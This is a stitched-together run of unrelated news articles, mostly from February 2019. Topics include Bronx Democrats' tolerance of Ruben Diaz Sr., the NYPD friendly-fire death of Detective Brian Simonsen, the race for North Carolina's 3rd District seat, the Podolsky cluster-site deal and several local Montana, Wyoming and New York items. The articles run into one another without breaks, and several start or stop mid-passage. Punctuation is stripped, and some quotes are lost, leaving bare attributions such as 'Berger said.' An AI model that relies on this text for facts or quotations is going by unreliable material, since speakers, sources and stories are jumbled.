Crespo, the current party boss, voted against same-sex marriage in 2011, the year it became law. This year, he voted against the Reproductive Health Act, which strengthened New Yorks abortion law and codified Roe v. Wade in the State Constitution. Before he was elected to the Assembly, he was a staffer for Diaz Sr.

Even Crespos rival for county leader, Assemblyman Jeffrey Dinowitz, argued in 2015 his votes against same-sex marriage should not keep him from leading the Bronx Democrats.

Carl Heastie, who is now the speaker of the Assembly, voted against same-sex marriage in 2007 before flipping his vote in 2011. Joining Heastie and Crespo in opposing same-sex marriage in 2007 was a young assemblyman named Ruben Diaz Jr., the son of Diaz Sr. and the current Bronx borough president.

Unlike his father, Diaz Jr. has evolved. In 2013, he became a full-throated supporter of same-sex marriage. The two are close, but very different: the father was a perennial candidate and gadfly who was actually elected to office after the son, who first won his seat at 23.

The younger Diaz and Heastie have not called for Diaz Sr. to resign. The Bronx borough president, who is very likely to run for mayor in 2021, said his fathers remarks were antagonist, quarrelsome and wholly unnecessary. Spokespersons for Diaz, Heastie and Crespo did not answer questions from Gothamist about why they tolerated Diaz Sr.s many other homophobic statements.

I think Rev. Diazs comments were wrong and insensitive, Heastie said in a statement. We should be focused on what unites us and moves our communities forward. Comments that divide us or cause hurt to others are completely inappropriate.

I have served in elected office for over 18 yrs. My office has served 1000s of constituents from all walks of life, creeds, cultures and gender expressions. Today I was reminded of that great work. TY Anthony for your kind words & for never forsaking the work we have done. pic.twitter.com/0n8TWYZhoU  Rev Ruben Diaz (@revrubendiaz) February 11, 2019

The Bronxs only openly gay elected official, Councilman Ritchie Torres, did not formally support Diaz Sr. when he ran for City Council in 2017. He signaled at the time, however, he was open to working with the bomb-throwing lawmaker, telling City and State, You can have profound differences of opinion with him, but no one can deny the high standard of visibility and constituent services in his district.

On Tuesday, Torreswho has both been a staunch ally and, at times, an opponent of the Bronx machinesaid, in response to a question about whether Bronx Democrats should be held accountable for enabling Diaz Sr., that his impression was that Diaz Jr. did not want his father to run for the Council.

But in the end, the father does what he wants. Hes uncontrollable. (Torres has not called for Diaz Sr. to resign.)

Did Bronx Democrats actually care about whether he could be controlled or not? Bronx Assemblyman Michael Blake, a leading contender for Public Advocate who is now calling for Diaz Sr. to resign, gave $1,000 to the elder Diazs campaign committee in 2017. (He later took it back.) Melissa Mark-Viverito, a top rival of Blakes in the Public Advocate race, strongly denounced Bronx Democrats on Tuesday for emboldening the reverend. He didnt get here on his own, the former City Council speaker said. Youve got a Bronx party that embraced him, that uplifted him, that pushed him forward  this to me is unacceptable.

But even Mark-Viverito, who represented a sliver of the Bronx in the Council, accepted a proclamation from Diaz Sr. 2017, grinning with him for a photograph.

Though Diaz Sr. has been defiant, he was openly musing, earlier this year, about retiring. Two of the Democrats who ran against him in 2017, Amanda Farias and Michael Beltzer, have filed to run in 2021. The reverend will have to decide whether its worth it to remain as a pariah in a place that wont ignore him anymore.

The City Council's committee on rules, privileges and elections will meet at noon on Wednesday to decide whether to strip Diaz of his chair overseeing for-hire vehicles, which would effectively eliminate the committee altogether. If the committee approves, the full Council will have to voteperhaps as soon as todayon ending Diaz's committee.

Update: WNYC reporter Brigid Bergin reports:

"From the moment he entered the City Council, he has been treated with more grace and generosity than he deserves, often by LGBT colleagues and staffers whose dignity and humanity hes spent his political life demeaning," Bronx City Council Member Ritchie Torres said ahead of the rules committee vote. "When it comes to his latest example of hate speech, the Reverend has willfully ignored countless pleas for even the barest apologies, the barest acknowledgement of the wrong he has done and the pain he has caused."

Torres continued, "I for one do not want his damn apology. I want the Council to make an example of him, and make an example of him we will. Today we will let it be known that when an elected official uses the power of his office to stoke the fires of bigotry, there will be consequences and those consequences will be severe and swift."

Unanimous vote 11 - 0, the @NYCCouncil Rules Committee has dissolved the For Hire Vehicle Committee.  Brigid Bergin (@brigidbergin) February 13, 2019

Correction: This story initially said that Bronx Assemblymember Michael Blake took $1,000 from Ruben Diaz Sr., when in fact he gave him a $1,000 donation, and later took it back. Gothamist regrets the error.The Real Jackie Kennedy

Her style and grace were legendary, and her image came to define the 1960s. She captured the hearts of world leaders, fashion icons and people all over the planet, who knew her as Jackie Kennedy, Jacqueline Onassis, or simply Jackie O. But who was the real Jacqueline Lee Bouvier Kennedy Onassis? Take our quiz and find out.The Zonta Club of Billings will host its 22nd annual Trivia Night fundraiser on Saturday, Feb. 23, at St. Bernard Catholic Church, located at 226 Wicks Lane. A social hour will kick off the night at 6 p.m. Trivia will start at 7 p.m. This years theme is Wondrous Women of the World.

The event is open to 35 teams of up to eight players each. Teams will answer eight rounds of trivia questions, with each round based on a different topic. The top-scoring team will win $500 cash. Prizes will also be awarded to second- and third-place teams, and to each rounds winning team.

Full dinner and concessions will be available throughout the evening. Dozens of items will be available to bid on at a silent auction, and a live auction for a trip to Chico Hot Springs will take place during intermission. A special Fact or Fiction round, door prizes and a 50/50 raffle will also be part of the fun.

Jay Kohn, news anchor at KTVQ, is the master of ceremonies.

Trivia Night is Zonta Club of Billings biggest annual fundraiser. The organization provides service to the community through domestic violence and human trafficking awareness, grants for community agencies, scholarships, as well as volunteers for local nonprofit organizations.The Wyoming Arts Council offers grant writing workshops for arts organizations, fiscally sponsored projects, nonprofits, school districts, or government entities that are interested in applying to the Arts Councils Community Support Grant.

According to a news release from the WAC, the workshops are designed to help applicants prepare their grant applications. Workshop participants will learn about funding, eligibility, program scope and how to apply for a Community Support Grant.

The grant is specifically designed for project and operational support for organizations that provide services to their community through the arts. Organizations and fiscally sponsored projects are eligible to receive up to $20,000 in this grant category.

First-time applicants and those that did not receive CSG funding last year can submit a draft application by March 1 for review and comments from staff, at wyomingartscouncil.org.

The workshop will take place at the following times:

2 p.m. on Wednesday, Feb. 13

4 p.m. on Thursday, Feb. 21

6 p.m. on Monday, Feb. 25

6 p.m. on Monday, March 11

Participants may join at global.gotomeeting.com/join/521786637.

Love 0 Funny 0 Wow 0 Sad 0 Angry 0A man who fought with a Montana Highway Patrol trooper and then ran away was arrested Wednesday morning north of the Billings Heights after law enforcement tracked his footprints in the snow for more than half a mile.

The man who was first spotted driving the wrong way on Shiloh Road is also suspected in at least one vehicle theft and several other crimes.

After stopping for the trooper and then running away, the man is believed to have stolen a vehicle on the West End, which was later found crashed into a ditch near Highway 312 and Dover Road.

The Yellowstone County Sheriff's Office began tracking the man's footprints from the crash site and found him at about 8:30 a.m. hiding inside an overhead camper near Grelck Lane and Independent Lane, said Capt. Bill Michaelis.

The series of events that eventually roped in three different law enforcement agencies began at 5:16 a.m. when MHP Trooper Toni Snelling spotted someone driving the wrong way in her lane on Shiloh Road near the roundabout at King Avenue West. Snelling said she pulled the man over and had snapped one handcuff on him when he started resisting.These kids think outside of the box, Haggerty said. If you can catch it early enough and get them moving on the reading writing and spelling part so that they dont think theyre dumb, they can do anything.

Johnson was still far from convinced that she could do anything. She returned to school, this time at Arrowhead Elementary, in fifth grade. The comparatively massive class size took her aback, and she said there was a social adjustment. And she still wasnt confident reading and writing.

In fifth grade, it felt like I could get by, but thats my limit, she said.

Johnson had so far approached reading more like a math equation. Her dyslexia tutoring effectively worked to rewire her brain; the Barton System adheres to established principles based on using letters and sounds to break down reading and spelling, often using sight, hearing, touch and movement.

Her competitive drive kicked in when she had a chance to test into the middle school honors English program. She made it, and her sixth-grade class put her on a track that got her beyond a math equation approach to reading.

I started to realize that there was literature and not just English, she said.Two bills introduced by both Democrats and Republicans will seek to remove the state's loophole for smaller group plans. Each does the exact same thing: Cut the exemption.

Republican Rep. Sue Peterson of Sioux Falls and Democratic Rep. Ryan Cwach of Yankton introduced separate bills in the House, with Republican Sen. Brock Greenfield of Clark signing on as a co-sponsor of Peterson's bill.

"My hope and my belief is that this is a result of Republicans and Democrats wanting to work together to find solutions for families of autistic children," Cwach said.

Avera notified families months ahead of the change, but families on Sanford's individual and small-group plans had their coverage yanked with little or no notice.

Avera's statement said the provider led the industry in 2014 when it decided to cover Applied Behavior Analysis on individual plans.

"We had hoped other insurers would follow suit to offer coverage, but none did, creating a financial burden shared with our other insurance members," the statement said.

Sanford's coverage of the autism treatments in individual plans was a mistake, Zimmer said.

"We had mistakenly paid some claims on a small amount of individuals," Zimmer said.ST. ANTHONY, N.D.  Kelly Schaff had high expectations for SAV America 8018. But he had no idea the bull would end up being the record highest-selling beef bull of all time, nearly doubling the price of the previous high-selling bull.

Schaff Angus Valley on Saturday, Feb. 9, sold SAV America 8018 to Herbster Angus Farms of Falls City, Nebraska, for $1.51 million.

Auctioneer Joe Goggins of Billings introduced America, the first bull into the ring during Schaff Angus Valleys annual production sale, saying he might be as good of bull as weve ever had walk into this ring. Goggins started bidding off in earnest at $10,000. But the asking price quickly climbed into the hundreds of thousands. As the price topped $1.3 million, Goggins had to pause for a moment, pointing out he was dealing with figures Im not really used to.

This was the third year in a row that Schaff Angus Valley has broken its own record for highest-selling bull. Last year, Schaff Angus Valleys SAV Elation 7899 set the record at $800,000. In 2017, SAV President 6847  SAV America 8018s sire  had been the top-selling bull, at $750,000.Speculation has begun over who might run in a special election to succeed Republican U.S. Rep. Walter Jones, whose death Sunday left the 3rd U.S. Congressional District seat vacant. Political observers anticipate a crowded field that includes current state lawmakers and earlier challengers.Jones, a former five-term state House member, was elected in 2018 to his 13th congressional term, saying it would be his last.Several prospects put out feelers about a possible 2020 run for an open seat in the Republican district. With Jones' death, contenders must decide whether they can quickly muster the three essential elements for success: messaging, money, and manpower."It would not surprise me to see anywhere between 15 or 20 folks run for this seat," said former GOP political consultant Larry Shaheen. He compared the potential field to the 2012 Republican primary for the 9th U.S. Congressional District in which 11 candidates ran for an open seat after Republican Sue Myrick's retirement."There's a lot of consulting firms sniffing around down there," Shaheen said.Filing to run for the seat won't begin until Gov. Roy Cooper signs a writ of election establishing the process for the special election, which is governed by a state statute.A number of political consultants suggested candidates to Carolina Journal.The most frequently mentioned possibilities were state legislators: Senate Majority Leader Harry Brown, R-Onslow; Sen. Bob Steinburg, R-Chowan; Rep. Greg Murphy, R-Pitt; and Rep. Phil Shepard, R-Onslow. N.C. Republican Party Vice Chairwoman Michele Nix was suggested as well, along with Phil Law, Scott Dacey, and Taylor Griffin, each of whom lost Republican primaries to Jones from 2014 to 2018.The district includes all or parts of Beaufort, Camden, Carteret, Chowan, Craven, Currituck, Dare, Greene, Hyde, Jones, Lenoir, Onslow, Pamlico, Pasquotank, Perquimans, Pitt, and Tyrrell counties. The 2018 Cook Partisan Voter Index listed the district with a 12-point Republican advantage."The Democrats are working to find a candidate," said Democratic political consultant Brad Crone. "Until you get redistricting, it's going to be mighty difficult for a Democrat to get in there and win." A federal court has ruled North Carolina's 13 congressional districts unconstitutional, and ordered them redrawn for the 2020 election.Democratic political consultant Thomas Mills said he hasn't yet heard of any Democrats willing to test the waters.Still, Democrats could win a low-turnout special election if they field a candidate who motivates the party's base, Mills said. But he doesn't see any current General Assembly Democrats giving up their seats to run for Congress. Democrats' 2018 legislative wins erased Republicans' veto-proof majorities in both chambers, and they might be wary about risking those hard-fought gains.Shaheen said if he had to make the call today, Brown and Steinburg would have the best chances to take the seat.Historically North Carolina elects congressional representatives who have served in the state Senate, Shaheen said.The Senate's large districts often include large areas of a congressional district, providing senators broader name recognition than House members. A candidate lacking Senate experience can win, but will need a lot of money to mount a vigorous campaign, Shaheen said.One wild card is whether someone working in Washington would come back to North Carolina to run.Since Jones or his father, a Democrat, have represented the district for all but two years of the past half-century, Shaheen expects a spirited primary."There's going to be a lot of demons that get exorcised in this, a lot of old grudges that people have been waiting to go after," Shaheen said.The younger Jones, a Democrat before entering Congress, was well known for his independent streak, often bucking the Republican Party."None of us agreed with him all the time, but by golly if nothing else he was consistent, and he loved the district," said Carl Mischka, chairman of the 3rd Congressional District Republican Party Executive Committee."You vote your conscience first, you vote your constituents second, and you vote your party third," Jones told CJ in a 2014 interview. "When my party is right I support my party. When I don't think the party is right for the people I represent then I have to make another decision. This, from time to time, gets you into trouble."Gov. Roy Cooper picked the youngest member of the N.C. Supreme Court to its top position.Cooper named fellow Democrat Cheri Beasley, 52, an associate justice on the court, to succeed Republican Mark Martin, who is leaving the chief justice's post at the end of this month. Beasley also is the first African-American woman to be elevated to chief justice in the 200-year history of the state's highest court.Cooper wouldn't say whether he will name a Republican to fill Beasley's slot to maintain the current 5-2 partisan balance.," Cooper said.Cooper said Beasley has the high legal ability, decency, integrity, and devotion to public service required for the job. He called her the right person at the right time in defending his decision to bypass longer-serving Senior Associate Justice Paul Newby, a Republican who already announced as a chief justice candidate in 2020, and Associate Justice Robin Hudson, a Democrat.Cooper said the people ultimately will decide whether Beasley and her replacement remain on the court. They would have to stand for election in 2020.Senate leader Phil Berger, R-Rockingham, issued a statement wishing Beasley well in her new role.But he said he was disappointed Cooper ignored a decades-old precedent of appointing the most senior member of the court as chief justice.Berger said.N.C. Republican Party Chairman Robin Hayes was more blunt.he said in a written statement.Martin's last day as chief justice will be Feb. 28. He is stepping down to become dean of the law school at Regent University in Virginia Beach, Virginia.If Cooper names a Democrat to replace Beasley, the party would hold a 6-1 majority, with Newby the only remaining Republican.Asked if he would name a Republican to replace Beasley, Cooper said he was going to pick the best person for the job among many qualified candidates, some of whom previously served on the Supreme Court. He said he would decide in about a week.Beasley invoked the memory of civil rights leader Martin Luther King's love for humanity and service. She said the symbolism of her appointment during Black History Month, and the sense of historic change, weren't lost on her.she said.Beasley said. She hopes to be an inspiration for them.In another matter, Cooper said he soon will announce when a special election would be set to fill the seat of U.S. Rep. Walter Jones, R-3rd District, who died Sunday. Interest is high among potential contenders for that seat.He said discussions continue with the State Board of Elections and lawyers to ensure all state and federal laws controlling special elections for Congress are met.President Trump is moving toward his 2024 candidacy as per all indications from his enlightening address to the NC GOP on June 5, 2021. Considering this political vector as a distinct possibility: What is your electoral pleasure as an integral cog in this Representative Republic?

No Vote: Mr. Trump will never be president again as we boldly march toward a Socialist society.

Yes Vote: Mr. Trump was the best president since Ronald Reagan, and we need a real leader, who is fully cognitive of that responsibility in these tumultuous times..A 42-year-old NYPD detective was fatally shot while responding to a robbery at a Queens cellphone store, and officials believe he was killed by shots fired by other police officers. The suspect, who police thought was armed, was apparently holding a fake handgun.



Detective Brian Simonsen (NYPD)

"This appears to be an absolutely tragic case of friendly fire," NYPD Commissioner James O'Neill said during a Tuesday night press conference at Jamaica Hospital to address the death of Detective Brian Simonsen, who, O'Neill said, spent his entire 19 years on the police force "serving the people who live and work in the 102nd Precinct."

Around 6:10 p.m., the NYPD says 911 calls came in about a robbery at a T-Mobile cellphone store at 91-62 120th Street in Richmond Hill, with one of the callers describing an armed suspect. Simonsen and his sergeant had been working on another case in the area, but responded to the scene, along with patrol units.

"Through the windows of the store, the officers did not see anyone inside. The officers then entered the store and immediately saw a man fitting the description of the suspect emerge from the back, pointing at them what appeared to be a handgun," O'Neill said.

"With the suspect advancing toward them, the officers discharged their weapons and retreated out of the store," he continued. "That was when Detective Simonsen was shot. His fellow officers put him in a marked police car and transported him here, where the trauma staff did their best to try to save him. We thank them for that. They were unable to do so, however."

A police source told the NY Post that "eight officers fired a total of 40 rounds." Simonsen was shot in the chest.



Police at the hospital (Kevin Hagen / AP / Shutterstock)

The sergeant, identified by the NY Times as Matthew Gorman, 34, was shot in the leg. He is in stable condition at Jamaica Hospital. O'Neill said, "A passerby in a civilian vehicle stopped and helped him into the car and transported him here."

Update: A second officer was struck by gunfire and has been transported to the hospital. The suspect was also shot at the scene and is in custody. pic.twitter.com/hVcYdUQrrQ  Citizen NYC (@CitizenApp_NYC) February 12, 2019

O'Neill called the suspect a "27-year-old Brooklyn resident and career criminal," and noted that he was shot numerous times. The suspect, identified by multiple outlets as Christopher Ransom whose nickname is "Detective," is in stable condition at Booth Memorial Hospital in Queens.

A fake handgun was recovered at the scene, according to police.

Simonsen was married, and Mayor Bill de Blasio said, "Commissioner ONeill and I just spent time with Detective Simonsens family and it was heartbreaking, absolutely heartbreaking. His mom, who has suffered so much, his wife - the shock that theyre feeling was so painful to see. And we told the Simonsen family that the New York City Police Department would be there for them, the people of New York City would be there for them. For as long as they lived, we would support them. And it was some small comfort to them in this moment of agony."

In a moving display outside Jamaica Hospital, officers from all over the city gather to salute fallen NYPD Det. Brian Simonsen. https://t.co/4ibh6UVIlt pic.twitter.com/FzRdIoCc9x  Eyewitness News (@ABC7NY) February 13, 2019

The last police officer to be killed in the line of duty was Officer Miosotis Familia, 48, who was fatally shot while sitting in a mobile command center in the Bronx in July 2017. In December, a police officer in Staten Island was injured by a fellow officer's friendly fire while responding to a domestic disturbance; the suspect was killed in the encounter.

Nearly 10 years ago, Officer Omar Edwards, was fatally shot by another officer responding to a 911 call that Edwards, who was off-duty at the time, had made before chasing a man who broke into his car.Bell said that roughly 100 people live in Mosaics community-based setting.

We support them with whatever task they need, whether its helping with balancing checkbooks or getting groceries, Bell said. We have some folks that we just help with vocation, getting a job, maintaining a job, learning skills to get a job.

Margie Higgins, the production supervisor, explained some of the jobs the residents do in their day-service workshop.

We work on Oriental Trading Company, so we do a lot of the party kits, Higgins said. Right now weve got about 12,000 happy sacks that were doing for like a Chuck E. Cheese or any type of little party goods store.

She added residents assemble the pieces of the kits, then get paid per label on the bag.

Every motion that they have is paid, Higgins said. The prevailing wage for assembly is almost $11 an hour. So if our individuals can work as fast as our three staff that I had do that exact same job, they would be making 11 dollars an hour. But they work at their own level.

Higgins said they also primarily assemble kits for Neapco Inc.Tuesday, as the Appropriations Committee was wrapping up work on the preliminary budget it will offer next week, chairman John Stinner told the committee it would have to affirmatively vote to put the language into the bill if members wanted it to be there this year.

The budget, he said, was going to be contentious enough with Medicaid expansion, increases to the property tax credit fund and a possible reduction in the revenue projections from the Nebraska Economic Forecasting Advisory Board coming at the end of this month.

He would rather the debates this session be about the budget, and not about a social policy, he said. He would prefer that the content of the Title X provision be put into a bill and debated that way. It's something, Stinner said, that should be in a permanent statute and not continually coming up for debate in the budget.

Lincoln Sen. Patty Pansing Brooks introduced a bill (LB629) this session that would permit Title X funds only for organizations licensed under the Health Care Facilities Licensure Act, which makes the organization subject to Health Insurance Portability and Accountability Act of 1996 (HIPAA) requirements.

"There are people, we are understanding, that are now getting Title X dollars that aren't subject to the HIPAA confidentiality requirements," Pansing Brooks said.Coffee shops and cafes in Northern Ireland should consider applying calorie labelling to scones, according to the Food Standards Agency.

This is one of the recommendations made in a report by the FSA in partnership with local councils, called Nutritional Content of Scones.

Researchers said scones were selected as the target of the study for a number of reasons, including them being a popular mid-morning snack in Northern Ireland, and because bakery is one of the top 10 sources of sugar for 11- to 18-year-olds in the country.

The study looked at levels of energy, sugar, fat, fibre, salt and the portion size of locally-produced scones in the country as part of the Know Your Calories campaign. Multinational chains such as Starbucks, Costa and Greggs were excluded from the study.

The range of calories per scone varied from 154kcal to 756kcal, the research found, while the average scone contained 20g of sugar. One plain scone contained 5g of salt per portion while another  a raspberry & white chocolate one  had 22.7g of fat. The largest, a fruit scone that weighed in at 233.3g, contained around 750kcal and 39.2g of sugar.

In 2018, the 11 district councils sampled a variety of plain, luxury and fruit scones from local coffee shops and cafes across Northern Ireland, said Emily Latimer, principal environmental health officer, representing the 11 district councils.

The results of the survey will inform targeted interventions to increase the availability of healthier products in local bakeries and coffee shops.

Recommendations included adding calorie labels to scones and reducing their portion size by using a smaller cutter, or offering a variety of sizes so consumers have a choice.

Coffee shops should consider applying calorie labelling to the scones they produce to allow their customers to make a more informed choice. Recent statistics show that 78% of NI consumers would like to see more information about healthy eating options when they are eating out, the report stated.

Notably, 91% of the scones tested were made from scratch, 5% made with a commercial mix and 4% bought in ready-baked. Of the businesses making their scones from scratch, 18% reported that they did not measure ingredients.

The majority of scones in this survey were made from scratch, presenting a real opportunity for coffee shops to make a difference to the healthiness of the scones they produce through reformulation and portion control.This work started during the government shutdown, so none of us were actually working, McGrath said. We had a few people come together to issue the closure order and write a press release that didnt have the same level of review internally that we would normally have. Only a couple of people were actually working. Most of those people that were werent getting paid.

McGrath expects that the operations will be done in April, but admitted that their completion date could change because of the weather.

Im new here, and it only took me a couple days to realize how important this mountain is to [Flagstaff], McGrath said. Honestly, I havent had a chance to hike up here yet and I cant wait to do it. But I cant do it until we get all of this work done.

Gayner explained that the helicopter operator has to consider a number of concerns like temperature, weather conditions, tree weight and geography when making their rounds. If the need were to arise, the operators can drop the trees for any reason.

Gayner warned that if that happens, the trees will drop like lawn darts into the ground. Gayner and others explained that helicopters sometimes need to land unexpectedly and that trees are being cut in a slick area due to the winter snow and ice, all justifications for closing the forest.PHOENIX -- Insisting it will be good for young people, a House panel voted Monday to let employers pay students who are part-time workers just two-thirds as much as they do anyone else.

Rep. Travis Grantham, R-Gilbert, said he believes that if companies can pay some of their part-time workers less than the voter-mandated minimum, currently $11 an hour, they will hire more young people. He said the higher wage deters employers from bringing on people and training them.

"Ultimately, if this passes, I believe this will actually increase the number of jobs that are available and get more people in the workforce and help lower that youth unemployment rate,'' Grantham said.

And Jon Riches of the Goldwater Institute, told members of the House Committee on Regulatory Affairs that getting someone a first job is important for character development and work ethics.

HB 2523 would say that employers could pay as little as the federal minimum wage, which is $7.25 an hour, to those who are full-time students younger than 22 who are working fewer than 20 hours a week.

Monday's 4-3 party-line vote by the Republican-controlled committee came despite questions about whether lawmakers even have the power to carve out the exception.Rep. John Katko should join his Republican U.S. House of Representatives colleague Francis Rooney of Florida and others in co-sponsoring the Energy Innovation and Carbon Dividend Act to combat climate change. Increasingly erratic weather is wreaking havoc on our economy with cost estimates in the hundreds of billions of dollars.

Mr. Katko is uniquely positioned as someone in his party who says he wants to find bipartisan compromise on key issues. The Energy Innovation Act is a market-based solutions that protects our countries business interests, as well as its health. The Act would create a low but steadily rising fee on fossil fuels with all net funds returned to American families. This would help cover the resulting bump in energy costs. The fee would create a signal to Wall Street to invest in renewable energy rather than the fig leaf of a steady drip of appropriations from Congress. It's the best first step forward on climate change, with estimates of a 40 percent reduction in harmful emissions in 10 years."One night, I was in bed and I was looking at the picture. I started writing this letter," Giuseppe said.

Even though his initial letter to Donatina was introductory, it kicked off a correspondence that lasted for about a year. Donatina then went with her family on a six-week vacation to Italy, where she finally met Giuseppe. She noted he looked better in person than he did in the picture she had of him. The pair got to know each other and got married during those six weeks in the summer of 1974.

"We got together, we talked, and we got married," Donatina said.

Two weeks later, Donatina had to leave Italy to go back to work in New York. In preparation for Giuseppe arriving in America two weeks later, Donatina found an apartment and got furniture while her parents helped her get everything ready. His experience stateside included factory work, until he opened a pizza shop, Giuseppe's Pizzeria, in the town of Tully in 1993, and brought in Donatina to help him. Giuseppe eventually sold that business, opening a different pizza shop under the same name in a different location, eventually closing that one and repeating the process. They did that until 2005, and Giuseppe's Pizzeria remains in Moravia despite them selling it.Feb. 13, 1999

AUBURN  "Interesting." "Unique." "Amazing." "Cool." "Eclectic."

Those are just a couple of the one-word descriptions thrown around by more than 100 patrons who received a special invitation to a pre-grand opening bash at Swaby's Kangaroo Court at 6 South St. in downtown Auburn Friday evening.

Local entrepreneur and antique dealer Michael Dwyer has preserved a piece of Auburn's history with his new night spot.

His threats to open a strip club at Willard Memorial Chapel and selling the clock tower from the former Auburn Savings Bank forced other groups to buy and renovate those buildings.

Dwyer bought the Swaby's building last year, and soon began making plans to create a place where people could appreciate Auburn's past.

As a plaque on the wall states, Swaby's "brings Auburn's past together to electrify you with its eccentric collection, daring your imagination to remember. Your past is your future  Welcome!!! and enjoy the electricity."U.S. Rep. John Katko and the Democratic chairs of two House committees want to prevent Congress from shifting funds away from the Transportation Security Administration.

Katko, R-Camillus, cosponsored legislation introduced by U.S. Reps. Peter DeFazio and Bennie Thompson that would prohibit the federal government from diverting passenger security fee revenue.

A companion bill has been introduced by U.S. Sen. Edward Markey, a Massachusetts Democrat.

Passenger security fees are collected by alrlines and paid for by passengers who purchase tickets. The fee is $5.60 for a one-way trip that originates in the U.S.

Beginning in 2013, one-third of the revenue from the security fees was used for other purposes. In the 2019 fiscal year, $1.36 billion in revenue won't be used for aviation security. Supporters of the bill projected that more than $19 billion would be diverted from the TSA by the 2027 fiscal year.

Katko, who is the former chair of the House subcommittee that oversees TSA, reiterated his concerns about the need to bolster the TSA and aviation security."The Finger Lakes region is without a doubt one of the most beautiful places in our state, and it is one of our country's great historical and cultural treasures," Gillibrand said. "A national heritage area designation would help further conserve and protect the region's natural resources and attract even more people from all over the world to the Finger Lakes."

A national heritage area designation could provide an economic boost to the Finger Lakes region, which is already a major tourism draw.

The Finger Lakes Tourism Alliance, citing data from 2017, reported that tourism generates more than $3 billion in business and supports 58,242 jobs.

The 14-county Finger Lakes region has more than 400 registered historic sites, 300 bed and breakfast facilities, 135 museums, 100 wineries, 80 art galleries and 14 professional theater companies.

The region is home to the Harriet Tubman National Historical Park in Auburn and the Women's Rights National Historical Park in Seneca Falls.

Cynthia Kimble, president of the Finger Lakes Tourism Alliance, lauded Gillibrand and U.S. Rep. Tom Reed, who sponsors the House bill, for supporting the feasibility study.

"Given our rich background, national resources and historical connection to the nation's growth, we are hopeful that the next step will be the designation of the Finger Lakes as a national heritage area," Kimble said.

Online producer Robert Harding can be reached at (315) 282-2220 or robert.harding@lee.net. Follow him on Twitter @robertharding.

Love 1 Funny 0 Wow 0 Sad 0 Angry 1City homeless advocates are urging the de Blasio administration to proceed with a controversial deal to buy nearly 500 cluster site apartments from a notorious slumlord, saying that taking over the poorly managed units and converting them into permanently affordable housing for the homeless is the best outcome  even if a bad landlord stands to profit from it.

Last month, the city put the brakes on negotiations to buy 17 buildings in the Bronx and Brooklyn as part of an effort to end its long-criticized reliance on cluster sites, private apartments that the city rents for the homeless. Although the de Blasio administration had announced the pending purchase in December, city officials withheld the names of the ownerswho turned out to be members of the Podolsky family, landlords with a long record of abuses who have amassed hundreds of millions in dollars over the years by renting shelter properties to the city.

The city wants to get out of these units, said Joshua Goldfein, a staff lawyer with the Legal Aid Society, which represents tenants who live in the buildings. The ideal solution is to convert them to permanent housing.

He added: You hold your nose and make the deal.

Giselle Routhier, a policy director at Coalition for the Homeless, agreed, saying that having the city buy the units and put them into the hands of a nonprofit developer would be the best outcome for homeless families. Her organization has for years been calling on the city to do away with cluster site housing. The buildings are often in poor condition and run by negligent landlords who overcharge the city. A 2015 city Department of Investigation report estimated that the city paid $2,451 a month on average for cluster units in low-income neighborhoods where average rents ranged from $528 to $1,200 per month.

The ultimate goal is the same, she said. Its trying to get [the apartments] into better shape.

But several factors have complicated the sale. In a Daily News investigation several weeks ago that revealed that the Podolskys were the sellers, the paper noted that the market price for the Podolsky portfolio could be as high as $60 million. Around that time, the de Blasio administration put the sale on hold.

Two days before the Daily News story, the Wall Street Journal reported that federal prosecutors are currently investigating brothers Stuart and Jay Podolsky for tax evasion and overbilling practices related to hotels they own that are rented by the city for homeless families.

The family has a long rap sheet. In 1984, they were among a group of landlords indicted for using harassment tactics to force out tenants, which included the use of professional vacators who were hired to make living conditions unbearable for tenants. Two years after that, the Journal reported, Stuart and Jay Podolsky pleaded guilty to 37 felonies that included grand larceny and coercion.

In 2013, the family was profiled in a lengthy New York magazine story titled Why Run a Slum If You Can Make More Money Housing the Homeless?

In addition to detailing the familys empire of shelters and SROs and their elaborate effort to hide their ownership of the buildings, the story revealed that then mayor-elect de Blasio had raised more than $35,000 from shelter landlords linked to a nonprofit management company that was connected to the Podolskys. He eventually returned some of the contributions.

David Satnick, an attorney for the Podolsky family, did not immediately respond to a request for comment.

Yet even in light of all of the family's well-chronicled history, de Blasio has denied knowing about the Podolskys.

I want to caution, I don't know this family. I don't know the history of this family, de Blasio was quoted in a Daily News story last week.

In the same story, City Hall spokesperson Jaclyn Rothenberg said, He doesnt know details about the family. They are not close. They are not friends. She added: He doesnt have encyclopedic knowledge of people mentioned in New York magazine stories five years ago.

Rothenberg and Department of Homeless Services officials did not immediately respond to requests for comment by Gothamist.

Over the years, de Blasio has made a mission out of cracking down on bad landlords. In 2010, as a newly minted public advocate, he created the NYC worst landlords registry, which is based on housing violations. He also arranged to have a link to the list appear on Craigslist, so as to make it easy for apartment hunters to identify bad actors.

Legal Aid's Goldfein said he believes that city officials knew who they were dealing with in the Podolskys. Prior to negotiations, the Legal Aid Society had encouraged the city to investigate cluster site providers for malfeasance. "We believed they would have found evidence that would have strengthened their hand," he said. "But at this point, the buildings have a market value that will be paid by someone, and the residents and future tenants will be better off if the City has control of what happens to them."

As homelessness continues to soar to record levels, with the most recent count in December showing 63,498 homeless people sleeping in the city's shelter system, the city does not appear to have any good options. Goldfein said that should the city nix the deal, it could elect to stop renting from Podolsky and begin the difficult transition of finding the homeless tenants new residences, but that might also pave the way for the Podolskys to try to deregulate their units and profit from market-rate rents.

Another option is to force the sale of the buildings through eminent domain, but that could take years, Goldfein said.

What made the Podolsky purchase so appealing to the city was that the familys portfolio is so large; in one fell swoop, it would provide permanent affordable housing for more than 1,000 vulnerable New Yorkers, according to the city. Theres not going to be another deal like this one," Goldfein said.She believes the establishment of a national paid family leave program would also benefit businesses, especially smaller companies, because it would allow them to compete with larger corporations.

"If the C-Suite gets paid leave, then the factory floor worker should also get paid leave," Gillibrand said. "This should be for every worker in America."

DeLauro and Gillibrand first introduced the FAMILY Act in 2013. The legislation hasn't received a vote in the House or Senate, but that could change this year.

Democrats control the House for the first time since 2010. There is strong support for the bill in the House. DeLauro's bill has 160 original cosponsors. Thirty-four senators signed on in support of Gillibrand's bill.

Paid leave is no longer a partisan priority. Republicans have embraced the idea of paid leave, but they are far apart from Democrats on how the program should be constructed.

